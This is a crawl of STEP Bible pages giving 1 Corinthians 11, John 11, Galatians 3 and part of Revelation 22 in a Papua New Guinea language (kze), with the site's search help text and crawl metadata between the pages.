káráyuwaamba tigaeyáváí ésa pósa tiꞋnónkáꞋá káátaaro. 7 Áánútu asirayánkwáráwáí amápa-tantaakaꞋo kárákwiraiwaimo inteníꞋa kwaaí mirá ésa pósa torupamái máyáamba tiꞋnónkáꞋá íma káátaraawe. Áánútu tuwaiꞋmáákaꞋa kárákwiraisasa tuwaiꞋmááꞋo onteníꞋa aaraí ésa pósa torupamái máyáamba tiꞋnónkáꞋá káátaraawe. 8 Áánútu aivar-ínímbá awaikó arausandéí úmakaivo kwaaí íma aaraigó arausandéí úmakaiye. 9 kwaaigó aaraigónkáꞋá ménintavena íma úmakaivo aaraigómá kwaaigónkáꞋá ménintavena Áánútu úmakaiye. 10 mindáyavaiye kwíyómpaken-kwayoꞋnarawa túrankaꞋa máyáantavaiye aarai tiꞋnónkáꞋá káátaaro. tuwánésa sésa tuwaiꞋmááꞋa kárákwiraawe sénááowe. 11 ánivo Ísóigo aúrankaꞋa máyáamba aaraí kwaaí tiráváyáawasa pósa íma keyáá kwémaewe. 12 Áánútu aivar-ínímbá kwaaigó arausandéí úmakaisasa aaraí mésa kwaaí matínkáawasa kwémaemba Áánútu amápa-tantaakona ááimban-iye.\n13 Áánútuntavesa imáyáa ésa torupamái máyáamba aarai tiꞋnónkáꞋó ímo káátaresa námúnaa kwésemba kanaawáꞋi. íya kanaán-iyo. imáyáa oro. 14 kwaásiti ááimba imáyáa éꞋa séꞋa kwaaí miwí tiꞋnóntáu ayáátáákaꞋo kwáíntavesa tigaeyáváí owasá 15 aaraí kentí ayáátáá-tiꞋnontauyavesa aamoí kwéomba Áánútu tímakaisana tiꞋnóntáugo tiꞋnómayaankaꞋa kwégaataiye kwésewe. 16 keinárawapinkembo évakarawaimo tiꞋnónkáꞋó káátamakaantavesamo narúꞋnárúr-áímbó síyaꞋo éꞋa séꞋa kesáá Áánútuna kwaásiya torupamái máyaunasaya óꞋon-oꞋon-daopaꞋa Áánútuna kwaási torupamái máyáamba mirá úndayaanivo óꞋon-aaimba íma kwáyáiye sénaumne.\nÍsóigontavai imáyáa ésa aráá-tomba naráan-kwasai.17 sáwíꞋo kwéon-aintaveꞋa simátíménda ísáaro. ÁánútuntaveꞋa imáyáa kwéeꞋa torupamái máyáamba íma moórá-morawai kaweꞋá kwéumatinkeꞋa sáwíꞋa kwéumatinkaawe. 18 torupamái máyáampinkembo taaínkaar-umaimo máyáan-aimbo sewaꞋó isáúnda árair-aimban-iye. 19 taaínkaar-umai méꞋa évakarawai óꞋon-imayaa owasá évakarawai óꞋon-imayaa kwéowaꞋa árair-aimbo sen-kwáásí kwéisaawe. 20 torupamái máyáamba séꞋa aráá-tomba nánaumne sembánivo ÍsóigontaveꞋa íma imáyáa éꞋa aráá-tomba néꞋa 21 évakarawai kentí naaúmpakembo maimaéꞋo tiráan-tontaveꞋa imáyáa éꞋa kwénaawasa toómbó ímo makáawai táái kwétinkaisasa évakarawai uwoꞋaóꞋ-nómbá kwénesa uwoꞋaóꞋá kwéowaꞋa mirá kwéomba aráá-tomba sáwíꞋa umái kwénaawe. 22 mirámó kwéomba toómbá íma taaínkaar-eꞋa toómbó ímo makáawai timéꞋa sáwíꞋa umátínkáawasa tigaeyávésa ombá mindáyaveꞋa íma aamoí kwéumatinkaumpo sáwíꞋa kwéowe. kentí naaúmpaꞋa toóné noné násuweꞋa torupamái méꞋa ÍsóigontaveꞋa imáyáa éꞋa aráá-tomba naaró.\n23 Ísóigo simásímakaimba simátímakaunda maarán-áímbán-iye. moóráwai Yútási Ísóigo Ísumba kwená namuro-kwáásíráꞋá íma agaráátínkaronkaꞋa mindóꞋwáámbá Ísu Káráísiti toómbá maisoréna 24 ÁánútumpaꞋa súwi séna topaména séna mindá kesúman-ivo keinárawataveꞋa ísámai kesúma ayúꞋmaranaumne. miráumai kentávéꞋa imáyáa kwéeꞋa námae íyóro súwasa 25 toómbá násúwówana pérétimo mayóntemba ándá-aran-domba kwáyon-anaveumba maisoréna séna mindá kesí naaemán-iye. kesí naaemá keinárawatavena kumínímba póna Áánútu kesé tarúmai máyáawe séna mináúná-áímbá simái tarúmakaiye. maandómbó kwénaamba kentávéꞋa imáyáa kwéeꞋa námae íyóro Ísu Káráísiti siráiye. 26 mintóné mindóné kwénaamba kentááyávéna Ísóigo pukáiye-aimba kwésimatimewe. mirá úmae kwéiyiyana Ísóigo marapáꞋá kumíníye.\n27 miráumai Ísóigontavesa imáyáa ésa aráá-tomba nánáe sésa ombá aivaꞋó ímo kawer-ímáyáámó ésamo úwoimo aráá-tone ándá-aran-done nésamo imáyáamo ésamo úwoisamba iyémó sésamo ésa Ísóigo áúwe naaewé sáwíꞋa íyana sáwí-meyamba tinkáníye. 28 mindáyavesa máyáawaina ááimba kawer-ímáyáá ésa taaímbai ísáíyuwesa sáwíꞋo umáímo máyáamba kawer-ímáyáá ésa aráá-tomba nánááowe. 29 Ísu Káráísiti kentááyáváíyé séna pukáin-ainkona ááimbo ímo imáyáamo urésamo úwoimo mintóné mindóné kwénaambo éꞋa kesávésa aaivimbá kwíyana Áánútu sáwí-meyamba timíníye. 30 keinárawapinkemba évakarawai mirá éꞋa Ísu Káráísiti kentááyáváíyé séna pukáimba íma imáyáa éꞋa aráá-tomba úwoisamba iyé-ímáyáá kwéomba póꞋa évakarawai aamoisáyán-kwáásí máéwasa évakaꞋa tíꞋa iwáí máéwasa évakaꞋa pukáawe. 31 ánivo máyaundawaina ááimbo imáyáamo kaweꞋó étaamo taainétaamo sáwíꞋo kwéunda arupí kwéundarakaiya Ísóigo sáwí-meyamba íma símísino. 32 ánivo Ísóigo arupí umásinkanintavenaya sáwí-meyamba kwésiminta póna marapá-kwáásímó sáwí-meyambo kwaíkwaiꞋo íním-beyambo timíndaraꞋa miwísé sáwí-meyanta íma simíníntaawe.\n33 kesí kwaásiyono. mináíntávéꞋa imáyáa éꞋa toómbá néꞋa ÍsóigontaveꞋa imáyáa éꞋa aráá-tomba nánááontaveꞋa torupamái máyáamba moórá-morawai ténááontaveꞋa timuꞋmaréꞋa méꞋa aráá-tomba naaró. 34 tááimo kwétinkainaꞋo éꞋa kentí naaúmpaꞋa toómbá násuweꞋa torupamái méꞋa toómbá nánááowe. mirámó íyanamo éna Áánútu sáwí-meyamba íma timíníye. óꞋon-aintavaigwaraꞋo agaimái sísaa-uraan-aimba kentópaꞋa kweémeꞋa koméꞋa simátimenaumne.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=1Cor.11","date":"2018-04-22T06:55:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945497.22\/warc\/CC-MAIN-20180422061121-20180422081121-00084.warc.gz","language":"kze","language_score":0.9999939203,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999939203262329}","num_words":780,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.127,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"John 11\nÁrásárási pukáin-kwasai.1 moóráwai áwíꞋa Árásárási Pétáni-naopaꞋa máyowana áíꞋa úwasarai ámánaakai túwíꞋa Máríyaae Máátaae mimbóráváꞋá mésaya 2 Máríyaa óꞋon-tawai áséi-kwiyumba úm-basawemba Ísu aísamairaꞋa atímarena kwenaꞋnóntáunei uwátukai-ininko éna tiyóvígomba áíꞋa kwéuwasarai 3 minúnándáráí moóráwaintavesarai sésarai Ísumba kosimáme se anóndakoo enarumbá ámakaandawaimba áíꞋa kwéiye kosimámiyo suyaná kosimámuwana 4 Ísu iséna séna Árásárásimbo áíꞋo kwéimba íma puꞋmái ánásaindayavena áíꞋa kwéivo Áánútu áwíkwara ááninko súwíkwaraꞋo mósá maránááontavena áíꞋa kwéiye Ísu séna 5 Máátaante Máríyaante Árásárásinte kwenarumbá tímakomba póna 6 áíꞋa kwéun-aimba iséna kae-táwai aáno maéna 7 minkáꞋá kwená kwayó-kwáásíyávéna séna ókwaraꞋa Yútiyaa-ayampata kónaumne súwasa 8 sésa anóndakoo Yútaa-anon-kwaasi óntandei tuvuwónáe sésa kwéopaꞋa ókwaraꞋa mináyámpáꞋá kónáe kwésene suwaná 9 Ísu miwí simátimena séna túnkwisasamo kombá íma sáma kaisasá pósa tanaambá kwévaavo sámo kaisasamó kombá íma tanaambá kwévaawe. mirámó ontembá isaꞋá ívé-kanaa kaweꞋá umái mayáímá mayánaumne Ísu séna 11 kentáásí kwaásigo Árásárási aúmá kwégwaimba póꞋa usásinankaandayaveꞋa kónaumne súmba 12 Árásárási pukóntavena Ísu súmbanivo kwená kwayó-kwáásí imáyáa ésa aún-kwaiguráimba póna usásinaniye-imayaa ésa sésa anóndakoo kaweꞋá imbá póna áíꞋa érankaniye suwaná 14 Ísu avoraꞋá séna Árásárási pukwiyé. 15 áíꞋo ipaꞋá íma kwesé máyaunda kaweꞋá imbá póta kwenópataamo kondá suwánéꞋa kentáváí áraiꞋa Áánútumpakemba kunkáiye simásinkanaaowe súwana 16 kwená kwayó-kwáásívínkémbá moóráwai áwíꞋa Tómáasi kwááyu áwíꞋa ávárawaama kwemá simátimena séna Yútaa-anon-kwaasi Ísumba inkamónááomba póta kweséya puwónáeta kónaumne Tómáasi siráiye.\nÍsuma puwíyampinkemba usásinanaaowaina ááimban-iye kwaasái.17 súwana Ísu Pétáni-naopaꞋa kúmba Árásárási puwúwasa utámárówana éíyaimba kwaúnkaꞋa Ísu koísaraiye. 18 Pétáni-naoꞋa YérúsaremuvaꞋa egwaaꞋá pósa 19 Máátaante Máríyaante tiyóvígo pukóntavesa Yútaa-kwaasiyomba iviꞋá kogwétesa máyówana 20 Ísu kwétiyemo sumbá Mááta iséna kwétupaꞋa kúwana Máríyaa naaúmpaꞋa máyowana 21 Mááta Ísuntavena koséna anóndakoo emó maankáꞋó máyaandarakai kesiyóvi íma púwísino. 22 ívéꞋo Áánútumbo áísaa inanamó éna mirá íníye-imayaa kwéune súwana 23 Ísu séna enayóvi pukáimpinkemba usásinaniye súwana 24 Mááta séna naaén-kanaama tínana pukáindavinkemba usásinaniye-imayaama kwéune súwana 25 Ísu séna púwómpinkemba kwéusasinaawemo sewáíná ááimba kemá úne. aúnáiꞋa umái maíꞋmaiꞋa ónááowaina ááimba kemá úne. kesááiyavesa áraire sésa kenkáꞋá agevamái máyáawaimo ésa puwónááombanivo usásinanaaowe. 26 mésa kesááiyavai áraire sésa kenkáꞋá agevamái máyáawaimo ésa íma puwónááowe. mindáyavai emá áraire kwéseno Ísu Máátaantavena súwana 27 Ísóigoo emá Áánútumo usásinankaiwai kwéamuꞋmaraundawai óne. Áánútu ááninko óne. marapáꞋá kumíníyondawai emá óne Mááta siráiye.\n28 Mááta simásuwena kwéna áúnkontavena aúpáꞋá áápimba simámena séna anóndako kwétena kwéaayaiye súwana 29 Máríyaa iséna avekáán-umai usásinena kwétupaꞋa kúmba 30 Ísuma Máátaamo taawánónkaꞋa ména íma naaópaꞋa túmba 31 Máríyaa usásinenamo kúmba Yútaa-kwaasi iviꞋá ton-kwáásí awánésa imáyáa ésa sésa utamánkáapaꞋo iviꞋó táíndayavena kwiyé sésa kwaꞋmaésa kumbá 32 Ísu máyonkaꞋa Máríyaa kwéna anóndakoman-iye séna aísamaivimba kívairena séna Ísóigoo emó maankáꞋó máyaandarakai kesiyóvi íma púwísino súwasa 33 Máríyaae kwenánaaemba kwakón-kwaasiye iviꞋó tombá Ísu tuwánówana arumbá éna umbai-yántáákómá arumbá sáwíꞋa úwana 34 tísaa ena séna náánkara utamánkaraao súwasa anóndakoo taawánaao suwaná 35 Ísu iviꞋá tómba 36 Yútaa-kwaasi awánésa sésa pukáiwaimba aruntávéna umánkáiye suwasá 37 évakarawai sésa aúgavitan-kwaasi aúramba kaweꞋá umánkaraimbanivo nóra séna íma asóvamankaisana pukáiyo siráawe.\nÍsu Árásárásimba usásinankarain-kwasai.38 suwaná Ísuna umbai-yántáákómá arumbá sáwíꞋa úwana utamánkaropaꞋa kúmba murí-áívímbá mámakesa óikaꞋa óntandei awáá umásúwówana Ísu koawánéna 39 séna óntamba akwátúwáaro súwana Mááta pukówai ámánaako séna Ísóigoo éíyain-tawai kwáímba póna ánkúte íníye súwana 40 Ísu séna áꞋa simámeꞋa súnda kesááiyavaimo áraire sémo kenkáꞋó agevamáímo mémo e Áánútuna kaweꞋ-máyáímá awánaniyone súwasa 41 óntamba akwátúwówana Ísu kwíyómpaꞋa awánéna séna kesivoó kesáái kwéisaandayaveꞋa súwi súne. 42 kesáái kwéisaampo maanáímbá kwésunda pósa maankáꞋá máyaan-kwaasi kentávésa áraiꞋa Áánútu aiꞋmákaisana kunkáiye sénááowe simásuwena 43 anónkaꞋa séna Árásárásiyo iyuwó súwana 44 pukówaima iráimba ampaantanéí avakúmá ánáan-kwisuwesa aíyayaankaꞋa asááúmaresa aꞋnómpáꞋá káátamaresa mirán-úmakon-tantaakwaraꞋa iyúwana Ísu séna iyátúwéwana máíno siráiye.\nanón-kwaasi Ísuna ámááyu-aimba siráan-kwasai.45 Yútaa-kwaasiyomba MáríyaanopaꞋa kun-kwáásí Ísumo úmba awánésa sésa áraiꞋa Áánútunopakemba kunkáiye suwasá 46 évakarawai ímaniye sésa ámáán-kawaa-kwaasitopaꞋa kosésa Ísumo ún-aimba simátímúwasa 47 mináímbá isésa ámáán-kawaa-kwaasiye mono-káwáá-kwáásíyé aaimó ísón-kwaasi tááyesa sésa íma awánáúnda-mayai maémáyáimba póta nóraya ónaumno. 48 úwoimo túwáananamo éna mirám-báyáímá maémáyainda pósa amáparawai kwenááiyavesa áraire sénááowe. minkáꞋá Árómáani-kamaani-kwaasi tésa anóm-bonoꞋ-namba tayawísíyuwesa kentáámá amáparawaima sáwíꞋa umásínkáávainivo nóraya ónaumno suwaná 49 moóráwai áwíꞋa Káyavaasi minkánáá aivaꞋ-mónó-káwáánáꞋá póna séna íma kaweꞋá umái kwéisaawe. 50 Yútaa-kwaasi amápaꞋa púwóvo séna moóráwai puwíníye Káyavaasi siráiye.\n51 mináímbó súmba íma kwená imáyáavinkemba siráivo minkánáá aivaꞋ-mónó-káwáánáꞋá máyontavena póna Áánútu imáyáama amúwana paárumai séna Yútaa-kwaasi amáparawaiyavena ísámai Ísu puwíníye. 52 íma Yútaa-kwaasiye suꞋmai Áánútu árááꞋa ovó óꞋon-oꞋom-baravaken-kwaasi mimbóráíꞋa umái méigwae séna Ísu puwíníye. 53 Káyavaasi mináímbá súwasa minkákémbá Yútaa-anon-kwaasi Ísuna ámááyu-aimba suwaná 54 mindáyavena Ísu íma Yútaa-anon-kwaasi túrankaꞋa kwéna tiyuwéna ugóná ayááíváꞋá Éváráímu-naopaꞋa kúmba kwená kwayó-kwáásíyé koméraawe.\n55 komáyówana tíyótaasa í-tánón-kánáá sáwíyankaꞋa tínímba pósa tirumbó kaweꞋó íyanesa naaóꞋ-naokemba Yérúsaremu-naopaꞋa koyorupésa 56 Ísuntavesa mivá maavaꞋa awánésa anóm-bonoꞋ-naumpaꞋa torupésa sésa tanómbo opaꞋá tíní. íya tíníyo siráawe. 57 mono-káwáá-kwáásíyé ámáán-kawaa-kwaasiye sumbá Ísumbo awánésamo ésa simásimiyata tátóráano sumbá mindáyavesa úwoi-kwaasi sésa tanómbo opaꞋá tíní. íya tíníyo siráawe.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Joh.11","date":"2018-04-23T17:51:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125946120.31\/warc\/CC-MAIN-20180423164921-20180423184921-00176.warc.gz","language":"kze","language_score":1.0000001192,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 1.0000001192092896}","num_words":860,"character_repetition_ratio":0.043,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.16,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Galatians 3\námáán-aimba kwarésa Ísun-aaiyavai áraire sésa kwéon-kwasai.1 Kárésiyaa-maravaken-kwaasi sáwí-imayaa kwéowai ísáaro. Ísu Káráísitimba tuvúwúwana pukáin-aimba avoraꞋá simátímakaunda ísómba túrandeiraaniꞋa umái awánéꞋa kaweꞋá umái ísaraambanivo évakarawai tésa kentí imáyáa tavisewaꞋá uwoꞋaór-ímáyáá kwéowe. 2 moórá-aimba tísaa ónaumne. ámáámbo kwakáantavaiyaꞋi. áséi-kwasaiyaveꞋa áraire siráantavaiyaꞋiyo. Áánútun-amanko kentirumpimbá máyáiya imáyáa oro. áséi-kwasaiyaveꞋa áraire siráantavena Áánútun-amanko tirumpimbá máyáiye kwésundanivo 3 íma kawer-ímáyáá kwéowe. Áánútun-amanko kentirumpimbá máyáísaꞋa póꞋa aúnáiꞋa iígómbá ááimba ásáreꞋa ívéꞋa imáyáa kwéomba Yútaa-kwaasiti ámáánko arupí umásinkaniye-imayaa kwéeꞋa íma kawer-ímáyaá kwéowe. 4 kawer-ámbó kwakáamba kentópaꞋa tiráin-tantaaꞋa íma úwoisan-tantaaꞋan-iye. 5 Áánútu kwenamankómbá aiꞋmarówana kentirumpimbá kumbáyáísana Áánútu keinárawapimba óꞋon-oꞋom-bayaimo ímo awánaraam-bayai mairáiye. ámáámbo kwakáantavena íma mirá éna áséi-kwasai iséꞋa áraire siráantavena mirá uráiye.\n6 naaóváꞋá Áánútun-aai aúváí-kwandaaivimba agaimaréna séna Ááváramu Áánútun-aaiyavena áraire siráintavena Áánútu séna arupí umái máyaane siráimba 7 miráumai Ááváramu siráintemba Áánútun-aaiyavesa áraire kwésewai Ááváramu árááꞋmaaꞋan-owe. 8 naaóváꞋá Áánútu imáyáa éna séna naaémba óꞋonkaa-kwaasi kesááiyavesa áraire sénááowaiyaveꞋa séꞋa arupí umái máyáawain-owe sénaumne. Áánútumo ímo mirámó uráinkaꞋa moóráwai aúváívimba áséi-kwasai agaimaréna séna Áánútu Ááváramuntavena séna ená imáyáa éꞋa amápaꞋ-maravaken-kwaasi kaweꞋá umátinkanaumne siráiye agaimaréna siráiye. 9 mindáyavena naaóváꞋá Áánútu Ááváramumba kaweꞋá umánkaraintemba kwenááiyavesamo árairemo kwésewai kaweꞋá kwéumatinkaiye.\n10 naaóváꞋá Áánútun-aai aúváívimba agaimaréna séna\nagaimakáin-amaampinkemba amápar-amaamba ímo kwaꞋmaé iyónááowai Áánútumpakemba miwítí\nsáwí-meyamba mayánááowe\nagaimaréna siráiye. mindáyavena ámáámba kaweꞋá umái kwáráanana Áánútu aamoí íníye kwésewai miwítí sáwí-meyamba kwáyáiye. 11 naaóváꞋá aúváívimba agaimaréna séna\nÁánútu arupí umái máyáawai owémó siráiwai kwenááiyavesa árairemo siráantavesa pósa\naúnáiꞋa umái máyáawe\nagaimaréna siráiye. mindáyavena Áánútuma ámáámbo kwaránáemo sewáíyávéna íma arupí umái máyáawain-owe séna kwenááiyavesa árairemo sewáíyávéna arupí umái máyáawain-owe kwésiye. 12 moórávaꞋa agaimaréna séna\námáámba amápar-amaambo kwaránááowai\nmiwímá ménaaowe\nagaimaréna siráiye. mindáyavesa ámáámbo kwarésamo Áánútun-aaiyavesa áraire sésamo kwéomba íma mimbórá-yántááꞋán-ivo kae-tántááꞋán-iye.\n13 moórávaꞋa agaimaréna séna\ntaairaꞋó tínkamowasamo púwón-kwaasi Áánútumpakemba sáwí-meyamba maésa kwévuwowe\nagaimaréna siráiye. mináíntávéna amápar-amaambo ímo kanaán-umai kwakáundayavenaya Áánútumpakemba kentáásópaꞋa sáwí-meyamba tivó séna Ísu Káráísiti iyásinkenaya misáwí-méyámbá maéna pukáiye. 14 Áánútu Ááváramuntavena séna amápaꞋ-maravaken-kwaasi kaweꞋá umátinkanaumnemo siráintemba óꞋonkaa-kwaasi kaweꞋá umátinkanintavena Ísu Káráísiti kentáásí sáwí-meyamba maéna pukáiye. kwenááiyaveta árairemo kwésundawaiya Áánútumo siráintemba kwenamankó kentáásirumpimba ménintavena Ísu Káráísiti iyásinkowana Áánútu kentáásí sáwí-meyamba íma siménaya kwembá amúwana pukáiye.\nÁánútu simái tarúmakain-aine Mósesimbo simámakain-amaane minkáé-kwásáí.15 kesí kwaásiyono. kwaásimo kwéomba imáyáa oro. kaeꞋnárai mimbórá-áímbá simái tarúmaresarai agaimakááyamba moóráwai mináímbá íma karéna óꞋon-aimba áúgwimai síníye. 16 miráumai naaóváꞋá Áánútu Ááváramuntavena simái asirámakain-aimba siráinkaꞋa Ááváramuntavaiye aísaavutantamba éna naaémba paáriniwaintavaiye siráiye. aúváívimba agaimaréna séna aísaavutantambo ónááowaiyavena íma siráivo aísaavutantambo íníwaintavena siráiye. aísaavutantambo íníyemo siráiwai Ísu Káráísitiman-iye. 17 agaimaráúnda-ainkona ááimba maarán-iye. aivaꞋá Áánútu Ááváramuntavena simái tarúmarena séna asirámakaunda-aimba mirá ónaumne séna sáwívar-ima 430 ima maisuwéna Mósesimba ámáámba ámakaiye. ánivo mirámó uráinkaꞋa Áánútu Ááváramuntavenamo simáímo tarúmakain-ainko íma ánásena kwaíkwaiꞋa kwéiye. 18 Áánútumo Mósesimbo simámakain-amaambo kwaráúndayavenaya ímanivo Áánútu kaweꞋá umátinkanaumnemo ááémo asiramáímo siráintavena kaweꞋá kwéumasinkaiye. Áánútu Ááváramuntavena kaweꞋá umánkanaumne asiramái siráintavena kaweꞋá umánkarena póna kentáá kaweꞋá kwéumasinkaiye.\n19 maarán-áíntávéna Áánútu Mósesimba ámáámba ámakaiye. sáwíꞋo owáímá Áánútuna ámáámba isésa sésa sáwíꞋo kwéunda ívéꞋa isáúmne sénááontavena Áánútu Mósesimba ámáámba ámakaiye. minámáámbá kwáyainana Ááváramu aísaavutantamba íníwai kwentávénamo Áánútumo simáímo asiramánkaraiwai paáréna minámáámbá ánásasuwaniye. kwíyómpaken-kwayoꞋnarawaꞋa Áánútuna ámáámba avumpin-kwáásí Mósesimba simámúwana simátímakaiye. 20 ánivo Áánútu Ááváramuntavenamo siráimba kweyáá siráiye. kaeꞋnáraimo kwéseyamba avumpin-kwáásí ména kwésimatimimbanivo Áánútu Ááváramuntavenamo siráimba kweyáá siráiye.\n21 Áánútuna ámáánko Áánútumo simáímo asirámakain-ainko íma kwéavararaiye. Áánútu Mósesimba simámakain-amaankomo asiramáímo kwénamo kwaásimo aúnáiꞋo umátínkáinkakai minámáámbá kwégwaraawaiyavena Áánútu séna arupí umái máyáawain-owe sisinó. 22 ánivo Áánútun-aai aúváí-kwandaaivimba agaimaréna séna sáwí-imayaao amápa-kwaasi tátokaiye siráiye. Áánútu séna Ísu Káráísitin-aaiyavesa áraire kwésiyawaima kaweꞋá umátinkanaumne simáímo asirámakain-aimba siráintemba Ísu Káráísitin-aaiyaveta áraiꞋa kentáásí sáwí-imayaao tátokaimpinkemba iyásinkaiye kwésundawainta kaweꞋá kwéumasinkaiye.\n23 Ísu Káráísiti ímo kunkówata ímo kwenááiyaveta áraire kwésewandarata Áánútu Mósesimbo simámakain-amaanko kentáá tátokowana Káráísiti kunkáinkaꞋa kwenááiyaveta áraire kwésunda-amba Áánútu kwégwisinkena ámáánko kentáá tátokain-amba ánásasinkaraintaawe. 24 Áánútu séna Ísu Káráísitin-aaiyavesa áraire síyawaiyavena arupí umái máyáawain-owe sénaumne súmba póna Ísu Káráísiti ímo kunkónkaꞋa Áánútu Mósesimbo simámakain-amaanko kentáá tátokaiye. 25 ívéꞋa Ísu Káráísiti áꞋa kunkáimba kwenááiyaveta áraire kwésunanaya póna Áánútu Mósesimbo simámakain-amaanko kentáá óꞋomba íma kwétatoraiye.\n26 Ísu Káráísitin-aaiyaveꞋa áraire kwéseꞋa kwesé tarúmai máyáantaveꞋa Áánútuna iyámpóín-owe. 27 keinárawaꞋa nombá péráamba Ísu Káráísitiye tarúmai máyáawai kwenkááníꞋa kwéowe. 28 Ísu Káráísitiye tarúmai máyáantaveꞋa mimbóráíꞋa umái máyáamba póna maarán-áímbá íma anón-aimban-iye. évakarawai Yútaa-kwaasi owaꞋá évakarawai óꞋonkaa-kwaasi owaꞋá évakarawai meéyámbakaawasa miwítí mayáí úwoi kwémayaawai owaꞋá évakarawai úwoimo máyáawai owaꞋá kwaaimá owaꞋá aaraimá owaꞋá kwéovo amáparawai mimbóráíꞋa umái máyáawe. 29 Ísu Káráísitina kwaásimo éꞋo éꞋa Ááváramumo uráintemba Áánútun-aaiyaveꞋa áraire kwésemba póꞋa Ááváramu aísaavutantamba uráawai ombá póna Áánútu Ááváramuwe aísaaavutantamba ónááowaiye kaweꞋá umátinkanin-aimba simáímo asirámakaintemba kaweꞋá umátinkaniye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Gal.3","date":"2018-04-23T21:01:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125946199.72\/warc\/CC-MAIN-20180423203935-20180423223935-00370.warc.gz","language":"kze","language_score":1.0000064373,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 1.0000064373016357}","num_words":838,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.179,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Revelation of John 221 minkákémbá kwíyómpaken-kwayoꞋnako moórá-nomba agaráásinkowana mindómbá ságayan-domba úwasa kwaási nésa maíꞋmaiꞋa ónááon-domba Áánútuwe kentáásí sáwí-meyamba mairáiwaintei avarákémbá kwégumumba 2 mindáókona aampimbá kwégumuwana évarevar-awampaꞋa taaimá kwéna arambá irówana kwaási nésa maíꞋmaiꞋa ónááon-taeramba moórá-kwiyontavai moórá-kwiyontavai arambá imaé kwéiyena úwana mintáyánama amápa-kwaasi kwénewana íma tíꞋa éna ánásainana 3 Áánútumo sáwíꞋa kwéovo túwáaro sínda-yantaaꞋa íma kwáyainana Áánútuwe kentáásí sáwí-meyamba mairáiwaintei avamá kwáyainasa kwená kwayó-kwáásí kwená imáyáa mósá marésa 4 kwenóiꞋa awánésa kwenáwíꞋa túwayaankaꞋa agaimaráíyana 5 noꞋwáámba íma ínana aaꞋá íma káínana Ísóigo Áánútu sáma kwégamatinkainasa pósa oómbá íma kúraꞋmare maésa kawáá-máyáí maimaésa kwéiyesa ménaaowe.\n6 minkákémbá kwíyómpaken-kwayoꞋnako simásimena séna mináímbá árair-aimba póna paáriniye. Ísóigo Áánútu kwenáái simátíméwai kwenamankómbá tímíwai kwená kwayóꞋnákómbá kwíyómpakemba aiꞋmaréna séna sáwíyankaꞋo paárinin-tantaaꞋa kesí mayáí-kwáásí agaráátinkaao siráiye súwana 7 Ísu séna isaaó. sáwíyankaꞋa kumónaumne. mináúváívímbó kwáyáin-aimbo sáwíyankaꞋo paárinin-aimbo isésamo taagwiyavónááowai tirunkó aamoí íníye Ísu siráiye.\n8 súwaꞋa kemá Yóni 